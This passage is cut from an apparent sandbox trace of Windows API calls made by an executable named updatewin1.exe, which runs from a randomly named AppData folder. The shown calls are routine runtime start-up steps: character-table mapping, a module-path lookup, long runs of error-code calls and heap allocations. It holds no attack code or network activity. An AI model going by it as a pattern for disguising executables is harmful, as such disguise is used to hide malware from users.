lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0051.714] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0051.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x89\x5f\xf5\x3f\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0051.715] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe")) returned 0x5f [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.715] SetLastError (dwErrCode=0x0) [0051.715] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.716] GetLastError () returned 0x0 [0051.716] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.717] SetLastError (dwErrCode=0x0) [0051.717] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.718] SetLastError (dwErrCode=0x0) [0051.718] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.719] SetLastError (dwErrCode=0x0) [0051.719] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.720] SetLastError (dwErrCode=0x0) [0051.720] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.721] GetLastError () returned 0x0 [0051.721] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x68) returned 0x2b1990 [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.722] SetLastError (dwErrCode=0x0) [0051.722] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.723] GetLastError () returned 0x0 [0051.723] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.724] SetLastError (dwErrCode=0x0) [0051.724] GetLastError () returned 0x0 [0051.725] SetLastError (dwErrCode=0x0) [0051.725] GetLastError () returned 0x0 [0051.725] SetLastError (dwErrCode=0x0) [0051.725] GetLastError () returned 0x0 [0051.725] SetLastError (dwErrCode=0x0) [0051.725] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.726] GetLastError () returned 0x0 [0051.726] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.727] SetLastError (dwErrCode=0x0) [0051.727] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.728] SetLastError (dwErrCode=0x0) [0051.728] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.729] GetLastError () returned 0x0 [0051.729] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.730] SetLastError (dwErrCode=0x0) [0051.730] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] GetLastError () returned 0x0 [0051.731] SetLastError (dwErrCode=0x0) [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x98) returned 0x2b1a00 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1f) returned 0x2b1aa0 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2b1ac8 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x37) returned 0x2b1b08 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2b1b48 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x31) returned 0x2b1b90 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1bd0 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2b1bf0 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x14) returned 0x2b1c20 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xd) returned 0x2b1c40 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x25) returned 0x2b1c58 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x39) returned 0x2b1c88 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b1cd0 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1cf0 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xe) returned 0x2b1d10 [0051.731] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x69) returned 0x2b1d28 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3e) returned 0x2b1da0 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1b) returned 0x2b1de8 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1d) returned 0x2b1e10 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2b1e38 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x12) returned 0x2b1e88 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b1ea8 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1b) returned 0x2b1ec8 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2b1ef0 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x29) returned 0x2b1f20 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2b1f58 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x41) returned 0x2b1f80 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1fd0 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xf) returned 0x2b1ff0 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x16) returned 0x2b2008 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2b2028 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x29) returned 0x2b2060 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x15) returned 0x2b2098 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2b20b8 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2b20e0 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x12) returned 0x2b2118 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b2138 [0051.732] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x46) returned 0x2b2158 [0051.732] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2b11f8 | out: hHeap=0x2b0000) returned 1 [0051.733] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x800) returned 0x2b21a8 [0051.733] RtlAllocateHeap (HeapHandle=0x2b0000, 